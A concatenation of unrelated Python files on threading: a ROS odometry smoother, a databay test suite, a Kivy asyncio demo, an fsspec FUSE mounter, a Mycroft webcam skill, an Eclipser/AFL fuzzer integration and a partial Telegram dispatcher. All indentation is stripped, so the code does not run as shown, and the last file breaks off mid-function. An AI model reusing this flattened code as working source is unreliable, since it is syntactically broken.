# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# CREDITS
# The code below is inspired by the OdomSmoother implementation of nav2_util ROS2 package.
# https://github.com/ros-planning/navigation2/blob/main/nav2_util/src/odometry_utils.cpp
from queue import Queue
import threading
from geometry_msgs.msg import TwistStamped
from nav_msgs.msg import Odometry
from rclpy.duration import Duration
from rclpy.node import Node
from rclpy.time import Time
class OdomSmoother:
def __init__(self,
node: Node,
odom_topic_name: str,
odom_history_duration: Duration):
node._odom_sub = node.create_subscription(
Odometry,
odom_topic_name,
self._odom_callback,
10)
self._odom_cumulate = Odometry()
self._twist_smoothed = TwistStamped()
self._history_list = []
self._odometry_queue = Queue()
self.odom_history_duration = odom_history_duration
self._odom_cumulate.twist.twist.linear.x = 0.0
self._odom_cumulate.twist.twist.linear.y = 0.0
self._odom_cumulate.twist.twist.linear.z = 0.0
self._odom_cumulate.twist.twist.angular.x = 0.0
self._odom_cumulate.twist.twist.angular.y = 0.0
self._odom_cumulate.twist.twist.angular.z = 0.0
threading.Thread(target=self._worker).start()
def _odom_callback(self, msg):
self._odometry_queue.put(msg)
def _worker(self):
while(True):
odom = self._odometry_queue.get()
if(len(self._history_list) > 0):
current_time = Time.from_msg(odom.header.stamp)
front_time = Time.from_msg(self._history_list[0].header.stamp)
while (current_time - front_time > self.odom_history_duration):
o = self._history_list[0]
self._odom_cumulate.twist.twist.linear.x -= o.twist.twist.linear.x
self._odom_cumulate.twist.twist.linear.y -= o.twist.twist.linear.y
self._odom_cumulate.twist.twist.linear.z -= o.twist.twist.linear.z
self._odom_cumulate.twist.twist.angular.x -= o.twist.twist.angular.x
self._odom_cumulate.twist.twist.angular.y -= o.twist.twist.angular.y
self._odom_cumulate.twist.twist.angular.z -= o.twist.twist.angular.z
del self._history_list[0]
if(not self._history_list):
break
front_time = Time.from_msg(self._history_list[0].header.stamp)
self._history_list.append(odom)
self._update_state(odom)
def _update_state(self, odom: Odometry):
self._odom_cumulate.twist.twist.linear.x += odom.twist.twist.linear.x
self._odom_cumulate.twist.twist.linear.y += odom.twist.twist.linear.y
self._odom_cumulate.twist.twist.linear.z += odom.twist.twist.linear.z
self._odom_cumulate.twist.twist.angular.x += odom.twist.twist.angular.x
self._odom_cumulate.twist.twist.angular.y += odom.twist.twist.angular.y
self._odom_cumulate.twist.twist.angular.z += odom.twist.twist.angular.z
# calculate smoothed twist
self._twist_smoothed.header = odom.header
self._twist_smoothed.twist.linear.x =\
self._odom_cumulate.twist.twist.linear.x / len(self._history_list)
self._twist_smoothed.twist.linear.y =\
self._odom_cumulate.twist.twist.linear.y / len(self._history_list)
self._twist_smoothed.twist.linear.z =\
self._odom_cumulate.twist.twist.linear.z / len(self._history_list)
self._twist_smoothed.twist.angular.x =\
self._odom_cumulate.twist.twist.angular.x / len(self._history_list)
self._twist_smoothed.twist.angular.y =\
self._odom_cumulate.twist.twist.angular.y / len(self._history_list)
self._twist_smoothed.twist.angular.z =\
self._odom_cumulate.twist.twist.angular.z / len(self._history_list)
# print('{} {:.2f}'.format(len(self._history_list), self._twist_smoothed.twist.linear.x))
def get_twist_stamped(self):
return self._twist_smoothed
def get_twist(self):
return self._twist_smoothed.twist
|
test_inlet.py
|
import asyncio
import threading
from unittest import TestCase
from unittest.mock import MagicMock
from databay import Inlet, Record
class DummyInlet(Inlet):
def __init__(self, array=True, raw=True, *args, **kwargs):
super().__init__(*args, **kwargs)
self.array = array
self.raw = raw
self.data = {'test': 10}
self.record = self.new_record(self.data)
def pull(self, update):
rv = self.data
if not self.raw:
rv = self.record
if self.array:
rv = [rv]
return rv
class DummyAsyncInlet(DummyInlet):
async def pull(self, update):
return super().pull(update)
class DummyMultiInlet(DummyInlet):
async def pull(self, update):
a = super().pull(update)
b = super().pull(update)
c = super().pull(update)
return [a, b, c]
class DummyStartShutdownInlet(DummyInlet):
start_called = False
shutdown_called = False
def on_start(self):
self.start_called = True
def on_shutdown(self):
self.shutdown_called = True
def sync_async(array, raw):
def fn_wrapper(fn):
def wrapper(test_kls):
def run_with(inlet):
with test_kls.subTest(msg=f"Inlet {inlet}"):
fn(test_kls, inlet)
run_with(DummyInlet(array=array, raw=raw))
run_with(DummyAsyncInlet(array=array, raw=raw))
return wrapper
return fn_wrapper
class TestInlet(TestCase):
@sync_async(array=False, raw=True)
def test_pull_raw(self, inlet):
# inlet = DummyInlet(array=False, raw=True)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should wrap data in an array')
self.assertIsInstance(rv[0], Record, 'Should wrap data in records')
@sync_async(array=False, raw=False)
def test_pull_record(self, inlet):
# inlet = DummyInlet(array=False, raw=False)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should wrap data in an array')
self.assertIsInstance(rv[0], Record, 'Should return a record')
self.assertEqual(rv[0], inlet.record,
'Record returned should be same as inlet\'s')
@sync_async(array=True, raw=True)
def test_pull_raw_array(self, inlet):
# inlet = DummyInlet(array=True, raw=True)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should return an array')
self.assertIsInstance(rv[0], Record, 'Should wrap data in records')
@sync_async(array=True, raw=False)
def test_pull_record_array(self, inlet):
# inlet = DummyInlet(array=True, raw=False)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should return an array')
self.assertIsInstance(rv[0], Record, 'Should return a record')
self.assertEqual(rv[0], inlet.record,
'Record returned should be same as inlet\'s')
def test_pull_multiple_raw(self):
inlet = DummyMultiInlet(array=True, raw=True)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should return an array')
self.assertIsInstance(rv[0], Record, 'Should return a record')
self.assertEqual(len(rv), 3, 'Should return 3 records')
def test_pull_multiple_records(self):
inlet = DummyMultiInlet(array=True, raw=False)
rv = asyncio.run(inlet._pull(None))
self.assertIsInstance(rv, list, 'Should return an array')
self.assertIsInstance(rv[0], Record, 'Should return a record')
self.assertEqual(len(rv), 3, 'Should return 3 records')
def test_try_start(self):
inlet = DummyStartShutdownInlet()
inlet.try_start()
self.assertTrue(inlet.active)
self.assertTrue(inlet.start_called)
self.assertFalse(inlet.shutdown_called)
def test_try_shutdown(self):
inlet = DummyStartShutdownInlet()
inlet._active = True
inlet.try_shutdown()
self.assertFalse(inlet.active)
self.assertTrue(inlet.shutdown_called)
self.assertFalse(inlet.start_called)
def test_try_start_already_active(self):
inlet = DummyStartShutdownInlet()
inlet._active = True
inlet.try_start()
self.assertTrue(inlet.active)
self.assertFalse(inlet.start_called)
self.assertFalse(inlet.shutdown_called)
def test_try_shutdown_already_inactive(self):
inlet = DummyStartShutdownInlet()
inlet.try_shutdown()
self.assertFalse(inlet.active)
self.assertFalse(inlet.shutdown_called)
self.assertFalse(inlet.start_called)
def test_try_start_multiple(self):
inlet = DummyStartShutdownInlet()
inlet.try_start()
self.assertTrue(inlet.active)
self.assertTrue(inlet.start_called)
self.assertFalse(inlet.shutdown_called)
inlet.try_start()
self.assertTrue(inlet.active)
self.assertTrue(inlet.start_called)
self.assertFalse(inlet.shutdown_called)
def test_try_shutdown_multiple(self):
inlet = DummyStartShutdownInlet()
inlet._active = True
inlet.try_shutdown()
self.assertFalse(inlet.active)
self.assertTrue(inlet.shutdown_called)
self.assertFalse(inlet.start_called)
inlet.try_shutdown()
self.assertFalse(inlet.active)
self.assertTrue(inlet.shutdown_called)
self.assertFalse(inlet.start_called)
""" This isn't easy to test properly, as race condition rarely happens. Add time.sleep(0.1)
to Inlet.try_start before changing self._active to generate race condition - then the _thread_lock
should indeed prevent it."""
def test_try_start_race_condition(self):
inlet = DummyStartShutdownInlet()
inlet.on_start = MagicMock()
def worker(event):
event.wait()
inlet.try_start()
ev = threading.Event()
threads = []
for i in range(0, 10):
t = threading.Thread(target=worker, daemon=True, args=[ev])
threads.append(t)
t.start()
ev.set()
for t in threads:
t.join()
inlet.on_start.assert_called_once()
# Read test_try_start_race_condition
def test_try_shutdown_race_condition(self):
inlet = DummyStartShutdownInlet()
inlet._active = True
inlet.on_shutdown = MagicMock()
def worker(event):
event.wait()
inlet.try_shutdown()
ev = threading.Event()
threads = []
for i in range(0, 10):
t = threading.Thread(target=worker, daemon=True, args=[ev])
threads.append(t)
t.start()
ev.set()
for t in threads:
t.join()
inlet.on_shutdown.assert_called_once()
|
kivy_asyncio.py
|
"""
Kivy asyncio example app.
From: https://gist.github.com/dolang/42df81c78bf0108209d837f6ba9da052
Kivy needs to run on the main thread and its graphical instructions have to be
called from there. But it's still possible to run an asyncio EventLoop, it
just has to happen on its own, separate thread.
Requires Python 3.5+.
"""
import os
# Set GL backend before any kivy modules are imported
os.environ['KIVY_GL_BACKEND'] = 'sdl2'
import asyncio
import threading
from kivy.app import App
from kivy.clock import mainthread
from kivy.event import EventDispatcher
from kivy.lang import Builder
from kivy.uix.boxlayout import BoxLayout
KV = '''\
<RootLayout>:
orientation: 'vertical'
Button:
id: btn
text: 'Start EventLoop thread.'
on_press: app.start_event_loop_thread()
TextInput:
multiline: False
size_hint_y: 0.25
on_text: app.submit_pulse_text(args[1])
BoxLayout:
Label:
id: pulse_listener
'''
class RootLayout(BoxLayout):
pass
class EventLoopWorker(EventDispatcher):
__events__ = ('on_pulse',) # defines this EventDispatcher's sole event
def __init__(self):
super().__init__()
self._thread = threading.Thread(target=self._run_loop, daemon=True)
self.loop = None
# the following are for the pulse() coroutine, see below
self._default_pulse = ['tick!', 'tock!']
self._pulse = None
self._pulse_task = None
self.dispatch = mainthread(self.dispatch)
def start(self):
self._thread.start()
def _run_loop(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self.set_pulse_text('')
self.loop.run_forever()
async def pulse(self):
"""Core coroutine of this asyncio event loop. Repeats a pulse message in a short interval
by dispatching a Kivy event `on_pulse` with the help of `@mainthread`
"""
def _pulse_messages():
while True:
yield from self._pulse or self._default_pulse
for msg in _pulse_messages():
print(msg)
self.dispatch('on_pulse', msg) # Left label: event
await asyncio.sleep(1)
def set_pulse_text(self, text):
self._pulse = str(text or '').strip().split()
if self._pulse_task is not None:
self._pulse_task.cancel()
self._pulse_task = self.loop.create_task(self.pulse())
def submit(self, text):
self.loop.call_soon_threadsafe(self.set_pulse_text, text)
def on_pulse(self, *_):
pass
class AsyncioExampleApp(App):
def __init__(self, **kwargs):
super().__init__(**kwargs)
self.event_loop_worker = None
def build(self):
return RootLayout()
def start_event_loop_thread(self):
"""Start the asyncio event loop thread. Bound to the top button."""
if self.event_loop_worker is not None:
return
self.root.ids.btn.text = (
"Running the asyncio EventLoop now...\n\n\n\nNow enter a few words below."
)
self.event_loop_worker = EventLoopWorker()
# make the label react to the worker's `on_pulse` event:
self.event_loop_worker.bind(
on_pulse=lambda x, text: setattr(self.root.ids.pulse_listener, 'text', text)
)
self.event_loop_worker.start()
def submit_pulse_text(self, text):
"""Send the TextInput string over to the asyncio event loop worker.
use the thread safe variant to run it on the asyncio event loop:
"""
if self.event_loop_worker is not None:
self.event_loop_worker.submit(text)
if __name__ == '__main__':
Builder.load_string(KV)
AsyncioExampleApp().run()
|
fuse.py
|
from __future__ import print_function
import os
import stat
from errno import ENOENT, EIO
from fuse import Operations, FuseOSError
import threading
import time
from fuse import FUSE
class FUSEr(Operations):
def __init__(self, fs, path):
self.fs = fs
self.cache = {}
self.root = path.rstrip('/') + '/'
self.counter = 0
def getattr(self, path, fh=None):
path = ''.join([self.root, path.lstrip('/')]).rstrip('/')
try:
info = self.fs.info(path)
except FileNotFoundError:
raise FuseOSError(ENOENT)
data = {'st_uid': 1000, 'st_gid': 1000}
perm = 0o777
if info['type'] != 'file':
data['st_mode'] = (stat.S_IFDIR | perm)
data['st_size'] = 0
data['st_blksize'] = 0
else:
data['st_mode'] = (stat.S_IFREG | perm)
data['st_size'] = info['size']
data['st_blksize'] = 5 * 2**20
data['st_nlink'] = 1
data['st_atime'] = time.time()
data['st_ctime'] = time.time()
data['st_mtime'] = time.time()
return data
def readdir(self, path, fh):
path = ''.join([self.root, path.lstrip('/')])
files = self.fs.ls(path, False)
files = [os.path.basename(f.rstrip('/')) for f in files]
return ['.', '..'] + files
def mkdir(self, path, mode):
path = ''.join([self.root, path.lstrip('/')])
self.fs.mkdir(path)
return 0
def rmdir(self, path):
path = ''.join([self.root, path.lstrip('/')])
self.fs.rmdir(path)
return 0
def read(self, path, size, offset, fh):
f = self.cache[fh]
f.seek(offset)
out = f.read(size)
return out
def write(self, path, data, offset, fh):
f = self.cache[fh]
f.write(data)
return len(data)
def create(self, path, flags, fi=None):
fn = ''.join([self.root, path.lstrip('/')])
f = self.fs.open(fn, 'wb')
self.cache[self.counter] = f
self.counter += 1
return self.counter - 1
def open(self, path, flags):
fn = ''.join([self.root, path.lstrip('/')])
if flags % 2 == 0:
# read
mode = 'rb'
else:
# write/create
mode = 'wb'
self.cache[self.counter] = self.fs.open(fn, mode)
self.counter += 1
return self.counter - 1
def truncate(self, path, length, fh=None):
fn = ''.join([self.root, path.lstrip('/')])
if length != 0:
raise NotImplementedError
# maybe should be no-op since open with write sets size to zero anyway
self.fs.touch(fn)
def unlink(self, path):
fn = ''.join([self.root, path.lstrip('/')])
try:
self.fs.rm(fn, False)
except (IOError, FileNotFoundError):
raise FuseOSError(EIO)
def release(self, path, fh):
try:
if fh in self.cache:
f = self.cache[fh]
f.close()
self.cache.pop(fh)
except Exception as e:
print(e)
return 0
def chmod(self, path, mode):
raise NotImplementedError
def run(fs, path, mount_point, foreground=True, threads=False):
""" Mount stuff in a local directory
This uses fusepy to make it appear as if a given path on an fsspec
instance is in fact resident within the local file-system.
This requires that fusepy by installed, and that FUSE be available on
the system (typically requiring a package to be installed with
apt, yum, brew, etc.).
Parameters
----------
fs : file-system instance
From one of the compatible implementations
path : str
Location on that file-system to regard as the root directory to
mount. Note that you typically should include the terminating "/"
character.
mount_point : str
An empty directory on the local file-system where the contents of
the remote path will appear
foreground : bool
Whether or not calling this function will block. Operation will
typically be more stable if True.
threads : bool
Whether or not to create threads when responding to file operations
within the mounter directory. Operation will typically be more
stable if False.
"""
func = lambda: FUSE(FUSEr(fs, path),
mount_point, nothreads=not threads, foreground=True)
if foreground is False:
th = threading.Thread(target=func)
th.daemon = True
th.start()
return th
else: # pragma: no cover
try:
func()
except KeyboardInterrupt:
pass
|
__init__.py
|
# Copyright 2016 Mycroft AI, Inc.
#
# This file is part of Mycroft Core.
#
# Mycroft Core is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Mycroft Core is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Mycroft Core. If not, see <http://www.gnu.org/licenses/>.
from adapt.intent import IntentBuilder
from mycroft.skills.core import MycroftSkill
from mycroft.util.log import getLogger
import os
import sys
import cv2
import time
import multiprocessing
import numpy as np
import tensorflow as tf
import datetime
from threading import Thread
from multiprocessing import Process, Queue, Pool
from os.path import dirname
from imutils.video import FPS
from imutils.video import WebcamVideoStream
sys.path.append('/opt/mycroft/skills/skill-realtime-object-recognition')
from object_detection.utils import label_map_util
from object_detection.utils import visualization_utils as vis_util
__author__ = 'eClarity'
LOGGER = getLogger(__name__)
CWD_PATH = os.path.dirname(__file__)
# Path to frozen detection graph. This is the actual model that is used for the object detection.
MODEL_NAME = 'ssd_mobilenet_v1_coco_11_06_2017'
PATH_TO_CKPT = os.path.join(CWD_PATH, 'object_detection', MODEL_NAME, 'frozen_inference_graph.pb')
# List of the strings that is used to add correct label for each box.
PATH_TO_LABELS = os.path.join(CWD_PATH, 'object_detection', 'data', 'mscoco_label_map.pbtxt')
NUM_CLASSES = 90
# Loading label map
label_map = label_map_util.load_labelmap(PATH_TO_LABELS)
categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES,
use_display_name=True)
category_index = label_map_util.create_category_index(categories)
def detect_objects(image_np, sess, detection_graph):
# Expand dimensions since the model expects images to have shape: [1, None, None, 3]
image_np_expanded = np.expand_dims(image_np, axis=0)
image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')
# Each box represents a part of the image where a particular object was detected.
boxes = detection_graph.get_tensor_by_name('detection_boxes:0')
# Each score represent how level of confidence for each of the objects.
# Score is shown on the result image, together with the class label.
scores = detection_graph.get_tensor_by_name('detection_scores:0')
classes = detection_graph.get_tensor_by_name('detection_classes:0')
num_detections = detection_graph.get_tensor_by_name('num_detections:0')
# Actual detection.
(boxes, scores, classes, num_detections) = sess.run(
[boxes, scores, classes, num_detections],
feed_dict={image_tensor: image_np_expanded})
# Visualization of the results of a detection.
vis_util.visualize_boxes_and_labels_on_image_array(
image_np,
np.squeeze(boxes),
np.squeeze(classes).astype(np.int32),
np.squeeze(scores),
category_index,
use_normalized_coordinates=True,
line_thickness=8)
return image_np
def worker(input_q, output_q):
# Load a (frozen) Tensorflow model into memory.
detection_graph = tf.Graph()
with detection_graph.as_default():
od_graph_def = tf.GraphDef()
with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:
serialized_graph = fid.read()
od_graph_def.ParseFromString(serialized_graph)
tf.import_graph_def(od_graph_def, name='')
sess = tf.Session(graph=detection_graph)
fps = FPS().start()
while True:
fps.update()
frame = input_q.get()
output_q.put(detect_objects(frame, sess, detection_graph))
fps.stop()
sess.close()
logger = multiprocessing.log_to_stderr()
logger.setLevel(multiprocessing.SUBDEBUG)
input_q = Queue(maxsize=5)
output_q = Queue(maxsize=5)
process = Process(target=worker, args=((input_q, output_q)))
process.daemon = True
pool = Pool(2, worker, (input_q, output_q))
video_capture = WebcamVideoStream(src=0,
width=720,
height=480).start()
class RealtimeObjectRecogSkill(MycroftSkill):
def __init__(self):
super(RealtimeObjectRecogSkill, self).__init__(name="RealtimeObjectRecogSkill")
def initialize(self):
view_objects_intent = IntentBuilder("ViewOjbectsIntent"). \
require("ViewObjectsKeyword").build()
self.register_intent(view_objects_intent, self.handle_view_objects_intent)
def handle_view_objects_intent(self, message):
self.speak('Showing you what objects I see now')
logger = multiprocessing.log_to_stderr()
logger.setLevel(multiprocessing.SUBDEBUG)
input_q = Queue(maxsize=5)
output_q = Queue(maxsize=5)
process = Process(target=worker, args=((input_q, output_q)))
process.daemon = True
pool = Pool(2, worker, (input_q, output_q))
video_capture = WebcamVideoStream(src=0).start()
fps = FPS().start()
while True: # fps._numFrames < 120
frame = video_capture.read()
input_q.put(frame)
t = time.time()
cv2.imshow('Video', output_q.get())
fps.update()
print('[INFO] elapsed time: {:.2f}'.format(time.time() - t))
if cv2.waitKey(1) & 0xFF == ord('q'):
break
fps.stop()
print('[INFO] elapsed time (total): {:.2f}'.format(fps.elapsed()))
print('[INFO] approx. FPS: {:.2f}'.format(fps.fps()))
video_capture.stop()
cv2.destroyAllWindows()
def stop(self):
pass
def create_skill():
return RealtimeObjectRecogSkill()
|
fuzzer.py
|
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Integration code for Eclipser fuzzer. Note that starting from v2.0, Eclipser
relies on AFL to perform random-based fuzzing."""
import shutil
import subprocess
import os
import threading
from fuzzers import utils
from fuzzers.afl import fuzzer as afl_fuzzer
def get_uninstrumented_outdir(target_directory):
"""Return path to uninstrumented target directory."""
return os.path.join(target_directory, 'uninstrumented')
def build():
"""Build benchmark."""
# Backup the environment.
new_env = os.environ.copy()
# First, build an instrumented binary for AFL.
afl_fuzzer.prepare_build_environment()
src = os.getenv('SRC')
work = os.getenv('WORK')
with utils.restore_directory(src), utils.restore_directory(work):
# Restore SRC to its initial state so we can build again without any
# trouble. For some OSS-Fuzz projects, build_benchmark cannot be run
# twice in the same directory without this.
utils.build_benchmark()
print('[build] Copying afl-fuzz to $OUT directory')
shutil.copy('/afl/afl-fuzz', os.environ['OUT'])
# Next, build an uninstrumented binary for Eclipser.
new_env['CC'] = 'clang'
new_env['CXX'] = 'clang++'
new_env['FUZZER_LIB'] = '/libStandaloneFuzzTarget.a'
# Ensure to compile with NO_SANITIZER_COMPAT* flags even for bug benchmarks,
# as QEMU is incompatible with sanitizers. Also, Eclipser prefers clean and
# unoptimized binaries. We leave fast random fuzzing as AFL's job.
new_env['CFLAGS'] = ' '.join(utils.NO_SANITIZER_COMPAT_CFLAGS)
cxxflags = [utils.LIBCPLUSPLUS_FLAG] + utils.NO_SANITIZER_COMPAT_CFLAGS
new_env['CXXFLAGS'] = ' '.join(cxxflags)
uninstrumented_outdir = get_uninstrumented_outdir(os.environ['OUT'])
os.mkdir(uninstrumented_outdir)
new_env['OUT'] = uninstrumented_outdir
fuzz_target = os.getenv('FUZZ_TARGET')
if fuzz_target:
targ_name = os.path.basename(fuzz_target)
new_env['FUZZ_TARGET'] = os.path.join(uninstrumented_outdir, targ_name)
print('[build] Re-building benchmark for uninstrumented fuzzing target')
utils.build_benchmark(env=new_env)
def eclipser(input_corpus, output_corpus, target_binary):
"""Run Eclipser."""
# We will use output_corpus as a directory where AFL and Eclipser sync their
# test cases with each other. For Eclipser, we should explicitly specify an
# output directory under this sync directory.
eclipser_out = os.path.join(output_corpus, "eclipser_output")
command = [
'dotnet',
'/Eclipser/build/Eclipser.dll',
'-p',
target_binary,
'-s',
output_corpus,
'-o',
eclipser_out,
'--arg', # Specifies the command-line of the program.
'foo',
'-f', # Specifies the path of file input to fuzz.
'foo',
'-v', # Controls the verbosity.
'2',
'--exectimeout',
'5000',
]
if os.listdir(input_corpus): # Specify inputs only if any seed exists.
command += ['-i', input_corpus]
print('[eclipser] Run Eclipser with command: ' + ' '.join(command))
subprocess.Popen(command)
def afl_worker(input_corpus, output_corpus, target_binary):
"""Run AFL worker instance."""
print('[afl_worker] Run AFL worker')
afl_fuzzer.run_afl_fuzz(input_corpus, output_corpus, target_binary,
['-S', 'afl-worker'], True)
def fuzz(input_corpus, output_corpus, target_binary):
"""Run fuzzer."""
# Calculate uninstrumented binary path from the instrumented target binary.
target_binary_directory = os.path.dirname(target_binary)
uninstrumented_target_binary_directory = (
get_uninstrumented_outdir(target_binary_directory))
target_binary_name = os.path.basename(target_binary)
uninstrumented_target_binary = os.path.join(
uninstrumented_target_binary_directory, target_binary_name)
afl_fuzzer.prepare_fuzz_environment(input_corpus)
afl_args = (input_corpus, output_corpus, target_binary)
eclipser_args = (input_corpus, output_corpus, uninstrumented_target_binary)
# Do not launch AFL master instance for now, to reduce memory usage and
# align with the vanilla AFL.
print('[fuzz] Running AFL worker')
afl_worker_thread = threading.Thread(target=afl_worker, args=afl_args)
afl_worker_thread.start()
print('[fuzz] Running Eclipser')
eclipser_thread = threading.Thread(target=eclipser, args=eclipser_args)
eclipser_thread.start()
print('[fuzz] Now waiting for threads to finish...')
afl_worker_thread.join()
eclipser_thread.join()
|
dispatcher.py
|
#!/usr/bin/env python
#
# A library that provides a Python interface to the Telegram Bot API
# Copyright (C) 2015-2017
# Leandro Toledo de Souza <devs@python-telegram-bot.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser Public License for more details.
#
# You should have received a copy of the GNU Lesser Public License
# along with this program. If not, see [http://www.gnu.org/licenses/].
"""This module contains the Dispatcher class."""
import logging
import weakref
from functools import wraps
from threading import Thread, Lock, Event, current_thread, BoundedSemaphore
from time import sleep
from uuid import uuid4
from collections import defaultdict
from queue import Queue, Empty
from future.builtins import range
from telegram import TelegramError
from telegram.ext.handler import Handler
from telegram.utils.promise import Promise
logging.getLogger(__name__).addHandler(logging.NullHandler())
DEFAULT_GROUP = 0
def run_async(func):
"""Function decorator that will run the function in a new thread.
Will run :attr:`telegram.ext.Dispatcher.run_async`.
Using this decorator is only possible when only a single Dispatcher exist in the system.
Note: Use this decorator to run handlers asynchronously.
"""
@wraps(func)
def async_func(*args, **kwargs):
return Dispatcher.get_instance().run_async(func, *args, **kwargs)
return async_func
class DispatcherHandlerStop(Exception):
"""Raise this in handler to prevent execution any other handler (even in different group)."""
pass
class Dispatcher(object):
"""This class dispatches all kinds of updates to its registered handlers.
Attributes:
bot (:class:`telegram.Bot`): The bot object that should be passed to the handlers.
update_queue (:obj:`Queue`): The synchronized queue that will contain the updates.
job_queue (:class:`telegram.ext.JobQueue`): Optional. The :class:`telegram.ext.JobQueue`
instance to pass onto handler callbacks.
workers (:obj:`int`): Number of maximum concurrent worker threads for the ``@run_async``
decorator.
Args:
bot (:class:`telegram.Bot`): The bot object that should be passed to the handlers.
update_queue (:obj:`Queue`): The synchronized queue that will contain the updates.
job_queue (:class:`telegram.ext.JobQueue`, optional): The :class:`telegram.ext.JobQueue`
instance to pass onto handler callbacks.
workers (:obj:`int`, optional): Number of maximum concurrent worker threads for the
``@run_async`` decorator. defaults to 4.
"""
__singleton_lock = Lock()
__singleton_semaphore = BoundedSemaphore()
__singleton = None
logger = logging.getLogger(__name__)
def __init__(self, bot, update_queue, workers=4, exception_event=None, job_queue=None):
self.bot = bot
self.update_queue = update_queue
self.job_queue = job_queue
self.workers = workers
self.user_data = defaultdict(dict)
""":obj:`dict`: A dictionary handlers can use to store data for the user."""
self.chat_data = defaultdict(dict)
""":obj:`dict`: A dictionary handlers can use to store data for the chat."""
self.handlers = {}
"""Dict[:obj:`int`, List[:class:`telegram.ext.Handler`]]: Holds the handlers per group."""
self.groups = []
"""List[:obj:`int`]: A list with all groups."""
self.error_handlers = []
"""List[:obj:`callable`]: A list of errorHandlers."""
self.running = False
""":obj:`bool`: Indicates if this dispatcher is running."""
self.__stop_event = Event()
self.__exception_event = exception_event or Event()
self.__async_queue = Queue()
self.__async_threads = set()
# For backward compatibility, we allow a "singleton" mode for the dispatcher. When there's
# only one instance of Dispatcher, it will be possible to use the `run_async` decorator.
with self.__singleton_lock:
if self.__singleton_semaphore.acquire(blocking=0):
self._set_singleton(self)
else:
self._set_singleton(None)
def _init_async_threads(self, base_name, workers):
base_name = '{}_'.format(base_name) if base_name else ''
for i in range(workers):
thread = Thread(target=self._pooled, name='{}{}'.format(base_name, i))
self.__async_threads.add(thread)
thread.start()
@classmethod
def _set_singleton(cls, val):
cls.logger.debug('Setting singleton dispatcher as %s', val)
cls.__singleton = weakref.ref(val) if val else None
@classmethod
def get_instance(cls):
"""Get the singleton instance of this class.
Returns:
:class:`telegram.ext.Dispatcher`
Raises:
RuntimeError
"""
if cls.__singleton is not None:
return cls.__singleton()
else:
raise RuntimeError('{} not initialized or multiple instances exist'.format(
cls.__name__))
def _pooled(self):
thr_name = current_thread().getName()
while 1:
promise = self.__async_queue.get()
# If unpacking fails, the thread pool is being closed from Updater._join_async_threads
if not isinstance(promise, Promise):
self.logger.debug("Closing run_async thread %s/%d", thr_name,
len(self.__async_threads))
break
promise.run()
if isinstance(promise.exception, DispatcherHandlerStop):
self.logger.warning(
'DispatcherHandlerStop is not supported with async functions; func: %s',
promise.pooled_function.__name__)
def run_async(self, func, *args, **kwargs):
"""Queue a function (with given args/kwargs) to be run asynchronously.
Args:
func (:obj:`callable`): The function to run in the thread.
*args (:obj:`tuple`, optional): Arguments to `func`.
**kwargs (:obj:`dict`, optional): Keyword arguments to `func`.
Returns:
Promise
"""
# TODO: handle exception in async threads
# set a threading.Event to notify caller thread
promise = Promise(func, args, kwargs)
self.__async_queue.put(promise)
return promise
def start(self):
"""Thread target of thread 'dispatcher'.
Runs in background and processes the update queue.
"""
if self.running:
self.logger.warning('already running')
return
if self.__exception_event.is_set():
msg = 'reusing dispatcher after exception event is forbidden'
self.logger.error(msg)
raise TelegramError(msg)
self._init_async_threads(uuid4(), self.workers)
self.running = True
self.logger.debug('Dispatcher started')
while 1:
try:
# Pop update from update queue.
update = self.update_queue.get(True, 1)
except Empty:
if self.__stop_event.is_set():
self.logger.debug('orderly stopping')
break
elif self.__exception_event.is_set():
self.logger.critical('stopping due to exception in another thread')
break
continue
self.logger.debug('Processing Update: %s' % update)
self.process_update(update)
self.running = False
self.logger.debug('Dispatcher thread stopped')
def stop(self):
"""Stops the thread."""
if self.running:
self.__stop_event.set()
while self.running:
sleep(0.1)
self.__stop_event.clear()
# async threads must be join()ed only after the dispatcher thread was joined,
# otherwise we can still have new async threads dispatched
threads = list(self.__async_threads)
total = len(threads)
# Stop all threads in the thread pool by put()ting one non-tuple per thread
for i in range(total):
self.__async_queue.put(None)
for i, thr in enumerate(threads):
self.logger.debug('Waiting for async thread {0}/{1} to end'.format(i + 1, total))
thr.join()
self.__async_threads.remove(thr)
self.logger.debug('async thread {0}/{1} has ended'.format(i + 1, total))
@property
def has_running_threads(self):
return self.running or bool(self.__async_threads)
def process_update(self, update):
"""Processes a single update.
Args:
update (:obj:`str` | :class:`telegram.Update` | :class:`telegram.TelegramError`):
The update to process.
"""
# An error happened while polling
if isinstance(update, TelegramError):
try:
